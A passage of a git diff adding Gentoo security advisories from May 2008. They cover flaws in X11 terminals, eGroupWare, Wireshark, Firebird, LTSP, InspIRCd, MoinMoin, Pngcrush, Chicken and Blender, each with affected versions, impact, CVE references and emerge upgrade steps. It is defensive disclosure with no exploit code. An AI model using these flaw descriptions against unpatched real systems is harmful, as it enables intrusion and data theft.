+++ b/xml/htdocs/security/en/glsa/glsa-200805-03.xml
@@ -0,0 +1,136 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200805-03">
+  <title>Multiple X11 terminals: Local privilege escalation</title>
+  <synopsis>
+    A vulnerability was found in aterm, Eterm, Mrxvt, multi-aterm, RXVT,
+    rxvt-unicode, and wterm, allowing for local privilege escalation.
+  </synopsis>
+  <product type="ebuild">aterm eterm rxvt mrxvt multi-aterm wterm rxvt-unicode</product>
+  <announced>May 07, 2008</announced>
+  <revised>May 10, 2008: 02</revised>
+  <bug>216833</bug>
+  <bug>217819</bug>
+  <bug>219746</bug>
+  <bug>219750</bug>
+  <bug>219754</bug>
+  <bug>219760</bug>
+  <bug>219762</bug>
+  <access>local</access>
+  <affected>
+    <package name="x11-terms/aterm" auto="yes" arch="*">
+      <unaffected range="ge">1.0.1-r1</unaffected>
+      <vulnerable range="lt">1.0.1-r1</vulnerable>
+    </package>
+    <package name="x11-terms/eterm" auto="yes" arch="*">
+      <unaffected range="ge">0.9.4-r1</unaffected>
+      <vulnerable range="lt">0.9.4-r1</vulnerable>
+    </package>
+    <package name="x11-terms/mrxvt" auto="yes" arch="*">
+      <unaffected range="ge">0.5.3-r2</unaffected>
+      <vulnerable range="lt">0.5.3-r2</vulnerable>
+    </package>
+    <package name="x11-terms/multi-aterm" auto="yes" arch="*">
+      <unaffected range="ge">0.2.1-r1</unaffected>
+      <vulnerable range="lt">0.2.1-r1</vulnerable>
+    </package>
+    <package name="x11-terms/rxvt" auto="yes" arch="*">
+      <unaffected range="ge">2.7.10-r4</unaffected>
+      <vulnerable range="lt">2.7.10-r4</vulnerable>
+    </package>
+    <package name="x11-terms/rxvt-unicode" auto="yes" arch="*">
+      <unaffected range="ge">9.02-r1</unaffected>
+      <vulnerable range="lt">9.02-r1</vulnerable>
+    </package>
+    <package name="x11-terms/wterm" auto="yes" arch="*">
+      <unaffected range="ge">6.2.9-r3</unaffected>
+      <vulnerable range="lt">6.2.9-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Aterm, Eterm, Mrxvt, multi-aterm, RXVT, rxvt-unicode, and wterm are X11
+    terminal emulators.
+    </p>
+  </background>
+  <description>
+    <p>
+    Bernhard R. Link discovered that RXVT opens a terminal on :0 if the
+    "-display" option is not specified and the DISPLAY environment variable
+    is not set. Further research by the Gentoo Security Team has shown that
+    aterm, Eterm, Mrxvt, multi-aterm, rxvt-unicode, and wterm are also
+    affected.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could exploit this vulnerability to hijack X11
+    terminals of other users.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All aterm users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=x11-terms/aterm-1.0.1-r1&quot;</code>
+    <p>
+    All Eterm users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=x11-terms/eterm-0.9.4-r1&quot;</code>
+    <p>
+    All Mrxvt users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=x11-terms/mrxvt-0.5.3-r2&quot;</code>
+    <p>
+    All multi-aterm users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=x11-terms/multi-aterm-0.2.1-r1&quot;</code>
+    <p>
+    All RXVT users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=x11-terms/rxvt-2.7.10-r4&quot;</code>
+    <p>
+    All rxvt-unicode users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=x11-terms/rxvt-unicode-9.02-r1&quot;</code>
+    <p>
+    All wterm users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=x11-terms/wterm-6.2.9-r3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1142">CVE-2008-1142</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1692">CVE-2008-1692</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 29 Apr 2008 13:00:54 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 29 Apr 2008 13:12:03 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 07 May 2008 18:53:21 +0000">
+    keytoaster
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200805-04.xml b/xml/htdocs/security/en/glsa/glsa-200805-04.xml
new file mode 100644
index 00000000..820a3e7e
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200805-04.xml
@@ -0,0 +1,77 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200805-04">
+  <title>eGroupWare: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities in eGroupWare may lead to execution of arbitrary
+    PHP code, the ability to upload malicious files and cross-site scripting
+    attacks.
+  </synopsis>
+  <product type="ebuild">egroupware</product>
+  <announced>May 07, 2008</announced>
+  <revised>May 07, 2008: 01</revised>
+  <bug>214212</bug>
+  <bug>218625</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/egroupware" auto="yes" arch="*">
+      <unaffected range="ge">1.4.004</unaffected>
+      <vulnerable range="lt">1.4.004</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    eGroupWare is a suite of web-based group applications including
+    calendar, address book, messenger and email.
+    </p>
+  </background>
+  <description>
+    <p>
+    A vulnerability has been reported in FCKEditor due to the way that file
+    uploads are handled in the file
+    editor/filemanager/upload/php/upload.php when a filename has multiple
+    file extensions (CVE-2008-2041). Another vulnerability exists in the
+    _bad_protocol_once() function in the file
+    phpgwapi/inc/class.kses.inc.php, which allows remote attackers to
+    bypass HTML filtering (CVE-2008-1502).
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    The first vulnerability can be exploited to upload malicious files and
+    execute arbitrary PHP code provided that a directory is writable by the
+    webserver. The second vulnerability can be exploited by remote
+    attackers via a specially crafted URL in order to conduct cross-site
+    scripting attacks.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All eGroupWare users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/egroupware-1.4.004&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1502">CVE-2008-1502</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2041">CVE-2008-2041</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 29 Apr 2008 12:58:46 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 29 Apr 2008 13:57:44 +0000">
+    mfleming
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 29 Apr 2008 14:01:45 +0000">
+    vorlon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200805-05.xml b/xml/htdocs/security/en/glsa/glsa-200805-05.xml
new file mode 100644
index 00000000..3bce4343
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200805-05.xml
@@ -0,0 +1,79 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200805-05">
+  <title>Wireshark: Denial of Service</title>
+  <synopsis>
+    Multiple Denial of Service vulnerabilities have been discovered in
+    Wireshark.
+  </synopsis>
+  <product type="ebuild">wireshark</product>
+  <announced>May 07, 2008</announced>
+  <revised>May 07, 2008: 01</revised>
+  <bug>215276</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-analyzer/wireshark" auto="yes" arch="*">
+      <unaffected range="ge">1.0.0</unaffected>
+      <vulnerable range="lt">1.0.0</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Wireshark is a network protocol analyzer with a graphical front-end.
+    </p>
+  </background>
+  <description>
+    <p>
+    Errors exist in:
+    </p>
+    <ul>
+    <li>
+    the X.509sat dissector because of an uninitialized variable and the
+    Roofnet dissector because a NULL pointer may be passed to the
+    g_vsnprintf() function (CVE-2008-1561).</li>
+    <li>
+    the LDAP dissector because a NULL pointer may be passed to the
+    ep_strdup_printf() function (CVE-2008-1562).</li>
+    <li>
+    the SCCP dissector because it does not reset a pointer once the packet
+    has been processed (CVE-2008-1563).</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could exploit these vulnerabilities by sending a
+    malformed packet or enticing a user to read a malformed packet trace
+    file, causing a Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Disable the X.509sat, Roofnet, LDAP, and SCCP dissectors.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Wireshark users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-analyzer/wireshark-1.0.0&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1561">CVE-2008-1561</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1562">CVE-2008-1562</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1563">CVE-2008-1563</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 29 Apr 2008 13:11:47 +0000">
+    vorlon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 29 Apr 2008 13:12:26 +0000">
+    vorlon
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 29 Apr 2008 15:31:30 +0000">
+    mfleming
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200805-06.xml b/xml/htdocs/security/en/glsa/glsa-200805-06.xml
new file mode 100644
index 00000000..8f982a93
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200805-06.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200805-06">
+  <title>Firebird: Data disclosure</title>
+  <synopsis>
+    Firebird allows remote connections to the administrative account without
+    verifying credentials.
+  </synopsis>
+  <product type="ebuild">firebird</product>
+  <announced>May 09, 2008</announced>
+  <revised>May 09, 2008: 01</revised>
+  <bug>216158</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-db/firebird" auto="yes" arch="*">
+      <unaffected range="ge">2.0.3.12981.0-r6</unaffected>
+      <vulnerable range="lt">2.0.3.12981.0-r6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Firebird is a multi-platform, open source relational database.
+    </p>
+  </background>
+  <description>
+    <p>
+    Viesturs reported that the default configuration for Gentoo's init
+    script ("/etc/conf.d/firebird") sets the "ISC_PASSWORD" environment
+    variable when starting Firebird. It will be used when no password is
+    supplied by a client connecting as the "SYSDBA" user.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker can authenticate as the "SYSDBA" user without
+    providing the credentials, resulting in complete disclosure of all
+    databases except for the user and password database (security2.fdb).
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Firebird users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-db/firebird-2.0.3.12981.0-r6&quot;</code>
+    <p>
+    Note: /etc/conf.d is protected by Portage as a configuration directory.
+    Do not forget to use "<i>etc-update</i>" or "<i>dispatch-conf</i>" to
+    overwrite the "firebird" configuration file, and then restart Firebird.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1880">CVE-2008-1880</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Mon, 14 Apr 2008 02:05:02 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 15 Apr 2008 09:22:33 +0000">
+    vorlon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200805-07.xml b/xml/htdocs/security/en/glsa/glsa-200805-07.xml
new file mode 100644
index 00000000..9ec5abda
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200805-07.xml
@@ -0,0 +1,88 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200805-07">
+  <title>Linux Terminal Server Project: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been discovered in components shipped with
+    LTSP which allow remote attackers to compromise terminal clients.
+  </synopsis>
+  <product type="ebuild">ltsp</product>
+  <announced>May 09, 2008</announced>
+  <revised>May 09, 2008: 01</revised>
+  <bug>215699</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/ltsp" auto="yes" arch="*">
+      <vulnerable range="lt">5.0</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Linux Terminal Server Project adds thin-client support to Linux
+    servers.
+    </p>
+  </background>
+  <description>
+    <p>
+    LTSP version 4.2, ships prebuilt copies of programs such as the Linux
+    Kernel, the X.org X11 server (GLSA 200705-06, GLSA 200710-16, GLSA
+    200801-09), libpng (GLSA 200705-24, GLSA 200711-08), Freetype (GLSA
+    200705-02, GLSA 200705-22) and OpenSSL (GLSA 200710-06, GLSA 200710-30)
+    which were subject to multiple security vulnerabilities since 2006.
+    Please note that the given list of vulnerabilities might not be
+    exhaustive.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could possibly exploit vulnerabilities in the
+    aforementioned programs and execute arbitrary code, disclose sensitive
+    data or cause a Denial of Service within LTSP 4.2 clients.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    LTSP 4.2 is not maintained upstream in favor of version 5. Since
+    version 5 is not yet available in Gentoo, the package has been masked.
+    We recommend that users unmerge LTSP:
+    </p>
+    <code>
+    # emerge --unmerge net-misc/ltsp</code>
+    <p>
+    If you have a requirement for Linux Terminal Servers, please either set
+    up a terminal server by hand or use one of the distributions that
+    already migrated to LTSP 5. If you want to contribute to the
+    integration of LTSP 5 in Gentoo, or want to follow its development,
+    find details in bug 177580.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200705-02.xml">GLSA 200705-02</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200705-06.xml">GLSA 200705-06</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200705-22.xml">GLSA 200705-22</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200705-24.xml">GLSA 200705-24</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200710-06.xml">GLSA 200710-06</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200710-16.xml">GLSA 200710-16</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200710-30.xml">GLSA 200710-30</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200711-08.xml">GLSA 200711-08</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200801-09.xml">GLSA 200801-09</uri>
+    <uri link="https://bugs.gentoo.org/177580">Gentoo bug 177580: Port LTSP 5 to Gentoo</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 01 Apr 2008 19:23:11 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 03 Apr 2008 14:49:37 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 03 Apr 2008 22:27:26 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200805-08.xml b/xml/htdocs/security/en/glsa/glsa-200805-08.xml
new file mode 100644
index 00000000..74921afe
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200805-08.xml
@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200805-08">
+  <title>InspIRCd: Denial of Service</title>
+  <synopsis>
+    A buffer overflow in InspIRCd allows remote attackers to cause a Denial of
+    Service.
+  </synopsis>
+  <product type="ebuild">inspircd</product>
+  <announced>May 09, 2008</announced>
+  <revised>May 09, 2008: 01</revised>
+  <bug>215704</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-irc/inspircd" auto="yes" arch="*">
+      <unaffected range="ge">1.1.19</unaffected>
+      <vulnerable range="lt">1.1.19</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    InspIRCd (Inspire IRCd) is a modular C++ IRC daemon.
+    </p>
+  </background>
+  <description>
+    <p>
+    The "namesx" and "uhnames" modules do not properly validate network
+    input, leading to a buffer overflow.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker can send specially crafted IRC commands to the
+    server, causing a Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Unload the "uhnames" module in the InspIRCd configuration.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All InspIRCd users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-irc/inspircd-1.1.19&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1925">CVE-2008-1925</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 06 May 2008 14:50:35 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 06 May 2008 19:30:15 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 06 May 2008 19:30:22 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200805-09.xml b/xml/htdocs/security/en/glsa/glsa-200805-09.xml
new file mode 100644
index 00000000..47a22db1
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200805-09.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200805-09">
+  <title>MoinMoin: Privilege escalation</title>
+  <synopsis>
+    A vulnerability in MoinMoin may allow a remote attacker to elevate his
+    privileges.
+  </synopsis>
+  <product type="ebuild">moinmoin</product>
+  <announced>May 11, 2008</announced>
+  <revised>May 11, 2008: 01</revised>
+  <bug>218752</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/moinmoin" auto="yes" arch="*">
+      <unaffected range="ge">1.6.3</unaffected>
+      <vulnerable range="lt">1.6.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    MoinMoin is an advanced and extensible Wiki Engine.
+    </p>
+  </background>
+  <description>
+    <p>
+    It has been reported that the user form processing in the file
+    userform.py does not properly manage users when using Access Control
+    Lists or a non-empty superusers list.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could exploit this vulnerability to gain superuser
+    privileges on the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All MoinMoin users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/moinmoin-1.6.3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1937">CVE-2008-1937</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 07 May 2008 22:43:27 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 07 May 2008 22:49:11 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 09 May 2008 14:03:55 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200805-10.xml b/xml/htdocs/security/en/glsa/glsa-200805-10.xml
new file mode 100644
index 00000000..688b1009
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200805-10.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200805-10">
+  <title>Pngcrush: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    A vulnerability in Pngcrush might result in user-assisted execution of
+    arbitrary code.
+  </synopsis>
+  <product type="ebuild">pngcrush</product>
+  <announced>May 11, 2008</announced>
+  <revised>May 11, 2008: 01</revised>
+  <bug>219033</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-gfx/pngcrush" auto="yes" arch="*">
+      <unaffected range="ge">1.6.4-r1</unaffected>
+      <vulnerable range="lt">1.6.4-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Pngcrush is a multi platform optimizer for PNG (Portable Network
+    Graphics) files.
+    </p>
+  </background>
+  <description>
+    <p>
+    It has been reported that Pngcrush includes a copy of libpng that is
+    vulnerable to a memory corruption (GLSA 200804-15).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to process a specially crafted
+    PNG image, possibly resulting in the execution of arbitrary code with
+    the privileges of the user running the application, or a Denial of
+    Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Pngcrush users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-gfx/pngcrush-1.6.4-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1382">CVE-2008-1382</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200804-15.xml">GLSA 200804-15</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 05 May 2008 21:28:49 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 05 May 2008 21:29:02 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 09 May 2008 14:19:10 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200805-11.xml b/xml/htdocs/security/en/glsa/glsa-200805-11.xml
new file mode 100644
index 00000000..00d338ca
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200805-11.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200805-11">
+  <title>Chicken: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities in Chicken could result in the execution of
+    arbitrary code.
+  </synopsis>
+  <product type="ebuild">chicken</product>
+  <announced>May 12, 2008</announced>
+  <revised>May 12, 2008: 01</revised>
+  <bug>198979</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-scheme/chicken" auto="yes" arch="*">
+      <unaffected range="ge">3.1.0</unaffected>
+      <vulnerable range="lt">3.1.0</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Chicken is a Scheme interpreter and native Scheme to C compiler.
+    </p>
+  </background>
+  <description>
+    <p>
+    Chicken includes a copy of PCRE which is vulnerable to multiple buffer
+    overflows and memory corruption vulnerabilities (GLSA 200711-30).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could entice a user to process specially crafted regular
+    expressions with Chicken, which could possibly lead to the execution of
+    arbitrary code, a Denial of Service or the disclosure of sensitive
+    information.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Chicken users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-scheme/chicken-3.1.0&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200711-30.xml">GLSA 200711-30</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 12 May 2008 11:47:42 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 12 May 2008 11:47:52 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 12 May 2008 12:10:35 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200805-12.xml b/xml/htdocs/security/en/glsa/glsa-200805-12.xml
new file mode 100644
index 00000000..7f058376
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200805-12.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200805-12">
+  <title>Blender: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities in Blender might result in the remote execution of
+    arbitrary code.
+  </synopsis>
+  <product type="ebuild">blender</product>
+  <announced>May 12, 2008</announced>
+  <revised>May 12, 2008: 01</revised>
+  <bug>219008</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-gfx/blender" auto="yes" arch="*">
+      <unaffected range="ge">2.43-r2</unaffected>
+      <vulnerable range="lt">2.43-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Blender is a 3D creation, animation and publishing program.
+    </p>
+  </background>
+  <description>
+    <p>
+    Stefan Cornelius (Secunia Research) reported a boundary error within
+    the imb_loadhdr() function in in the file
+    source/blender/imbuf/intern/radiance_hdr.c when processing RGBE images
+    (CVE-2008-1102). Multiple vulnerabilities involving insecure usage of
+    temporary files have also been reported (CVE-2008-1103).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted file
+    (.hdr or .blend), possibly resulting in the remote execution of
+    arbitrary code with the privileges of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Blender users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-gfx/blender-2.43-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1102">CVE-2008-1102</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1103">CVE-2008-1103</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 11 May 2008 13:10:27 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 12 May 2008 11:15:05 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 12 May 2008 11:15:14 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200805-13.xml b/xml/htdocs/security/en/glsa/glsa-200805-13.xml
new file mode 100644
index 00000000..a05e78df
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200805-13.xml
@@ -0,0 +1,75 @@
+<?xml version="1.0" encoding="utf-8"?>
